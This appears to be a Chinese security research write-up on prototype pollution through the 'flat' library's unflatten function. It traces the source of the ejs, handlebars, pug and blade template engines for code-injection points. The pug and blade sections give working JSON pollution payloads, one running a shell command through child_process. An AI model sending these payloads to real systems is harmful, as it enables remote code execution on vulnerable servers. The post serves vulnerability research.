前言
5555学习。
环境搭建
初始化一个web项目:
const express = require('express')
const bodyParser = require('body-parser')
const unflatten = require('flat').unflatten
const app = express()
app.use(bodyParser.json())
app.get("/", (req, res) => {
res.send("Hello World!")
})
app.post("/", (req, res) => {
const data = unflatten(req.body);
console.log(req.body, data, this.polluted);
res.send("OK")
})
app.listen(8080, () => {
console.log("App Running...")
})
未指定版本下载依赖,但是测试时发现unflatten没有发生原型链污染,怀疑是版本问题,调试发现合并对象时的关键过滤代码:
Object.keys(target).forEach(function (key) {
const split = key.split(delimiter).map(transformKey)
let key1 = getkey(split.shift())
let key2 = getkey(split[0])
let recipient = result
while (key2 !== undefined) {
if (key1 === '__proto__') {
return
}
...
}
...
}
当输入了proto.xxx这样的嵌套键值时,会触发过滤导致结果为undefined。
更换一下flat版本,根据官方仓库,选择了0.2.0版本的flat,此时可以触发原型链污染漏洞。
原型链污染注入模板解析引擎
ejs
修改一下测试代码,把模板引擎加进来:
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `
<h1>Hello, <%= name %>!</h1>
`;
const html = ejs.render(template, data);
res.send(html)
})
调试一下render函数,读一下模板渲染部分的源码:
return handleCache(opts, template)(data);
很明显模板代码最后会被整合成一个匿名函数并执行,所以只要在里面注入字符串代码就能实现RCE。
看到匿名函数主要由两个部分组成,第一部分是编译设置中的一些数据和预置的一些函数,如:
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
如果this.source没有数据,这些代码最后会拼接到this.source中,第二部分就是用户模板:
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + sanitizedFilename + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
最后会整合成一个匿名函数返回:
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
根据调试,this中的属性似乎拼接不进去,而可以拼接进去的opts对象是由createNullProtoObjWherePossible函数创建的,看起来无法通过原型链进行污染。
或许低版本没有做那么多防护,可以利用,不多研究了。
handlebars
修改一下:
const data = unflatten(req.body);
const template = `
<h1>Hello, {{name}}!</h1>
`;
const c = handlebars.compile(template);
const html = c(data)
res.send(html)
调试发现分为AST解析和执行两个部分,解析出来的AST主要由2个字符串常量和一个变量一共3个部分组成:
[
{
type: "ContentStatement",
original: "\n <h1>Hello, ",
value: "\n <h1>Hello, ",
loc: {...},
},
{
type: "MustacheStatement",
path: {
type: "PathExpression",
data: false,
depth: 0,
parts: [
"name",
],
original: "name",
loc: {...},
},
...
},
{
type: "ContentStatement",
original: "!</h1>\n ",
value: "!</h1>\n ",
...
},
]
然后分别根据type调用对应的字节码编写函数:
Program: function Program(program) {
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
},
比如字符串常量就交给ContentStatement函数编写成一个appendContent字节码:
ContentStatement: function ContentStatement(content) {
if (content.value) {
this.opcode('appendContent', content.value);
}
},
变量访问则交给了PathExpression函数整合成一个lookupOnContext字节码:
PathExpression: function PathExpression(path) {
this.addDepth(path.depth);
this.opcode('getContext', path.depth);
var name = path.parts[0],
scoped = _ast2['default'].helpers.scopedId(path),
blockParamId = !path.depth && !scoped && this.blockParamIndex(name);
if (blockParamId) {
...
} else {
this.opcode('lookupOnContext', path.parts, path.falsy, path.strict, scoped);
}
},
没有发现哪里能注入额外的AST节点。
pug
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `h1 Hello, #{name}!`;
const c = pug.compile(template);
const html = c(data)
res.send(html)
})
pug在将模板解析为AST后遍历该AST,整合成一个匿名函数执行,存在代码注入的可能:
var parsed = compileBody(str, {...});
var res = options.inlineRuntimeFunctions
? new Function('', parsed.body + ';return template;')()
: runtimeWrap(parsed.body);
调试发现,代码在遍历AST节点时存在注入:
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
但是经过了stringify函数过滤,无法闭合引号,将字符串变为代码,继续往下看。
根据节点类型调用对应的处理函数,如用于处理h1标签的visitTag函数,当tag节点存在code属性时会进入visitCode函数,该code属性由原型链污染可控:
if (tag.code) this.visitCode(tag.code);
看到这个函数中存在两个注入点,第一个是:
if (code.block) {
if (!code.buffer) this.buf.push('{');
this.visit(code.block, code);
if (!code.buffer) this.buf.push('}');
}
第二个是:
if (code.buffer) {
var val = code.val.trim();
val = 'null == (pug_interp = ' + val + ') ? "" : pug_interp';
if (code.mustEscape !== false)
val = this.runtime('escape') + '(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}
都可以将代码插入匿名函数中,可以利用:
{"name": "Twings", "__proto__.code": true, "__proto__.__proto__.buffer": true, "__proto__.__proto__.val": "(process.mainModule.require('child_process').execSync(`whoami`))"}
看到命令成功执行:
<h1>laptop-mu9vjouc\twings
Hello, Twings!</h1>
blade
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `h1 Blade is cool`;
blade.compile(template, {}, function(err, tmpl) {
tmpl(data, function(err, html) {
res.send(html)
})
});
})
阅读模板解析源码,跟pug类似,也是先解析成AST再整合成匿名函数的方式,很多地方都加上了JSON.stringify的过滤,跟入_compileNode函数,当节点类型为tag时,存在一个没有过滤且可能可控的代码注入点:
if(varAttrs.length > 0)
this._pushOff(ns + ".r.attrs({" + varAttrs.substr(1) + "}, " + ns + ");");
varAttrs来自前面的循环块,从attrs中获取,而attrs则从节点的attributes属性中获取,找到AST构建部分的parse_tag函数,节点的attributes由parse_attributes函数获得:
var tag = {
'type': "tag",
'name': tagName == "" ? "div" : tagName,
'id': id_class.id,
'classes': id_class.classes,
'attributes': attrs == "" ? {} : attrs,
'children': []
};
观摩一下parse_attributes函数,attrs的获取如下:
if (result0 !== null) {
result0 = (function(offset, line, column, first_attr, next_attrs) {
var attrs = {};
attrs[first_attr.name] = first_attr.value;
for(var i in next_attrs)
attrs[next_attrs[i].name] = next_attrs[i].value;
return attrs;
})(pos0.offset, pos0.line, pos0.column, result0[3], result0[4]);
}
首先要让result0不为null,但是阅读源码后发现该条件对模板有要求,要求模板中存在左括号相关的写法,随便修改一下模板:
const template = `h1( Blade is )cool`;
观察attrs的获取方法,for in语法会访问原型属性,因此这一句代码会根据原型属性修改attrs:
attrs[next_attrs[i].name] = next_attrs[i].value;
如果构造失误导致了undefined数据,后面从attrs取出数据时就会发生错误,测试用的输入:
{"__proto__.code": "console.log(233)", "__proto__.__proto__.name": "Twings", "__proto__.__proto__.value": "Twings"}
此时会给varAttrs插入代码:
varAttrs += "," + JSON.stringify(i) + ":{v:" + attrs[i].code +
(attrs[i].escape ? ",e:1" : "") +
(i == "class" && attrs[i].append ?
",a:" + JSON.stringify(attrs[i].append): "") + "}";
此时的varAttrs如下:
",\"Twings\":{v:console.log(233)},\"code\":{v:console.log(233)},\"name\":{v:console.log(233)},\"value\":{v:console.log(233)}"
可以看到代码被注入且正常执行了。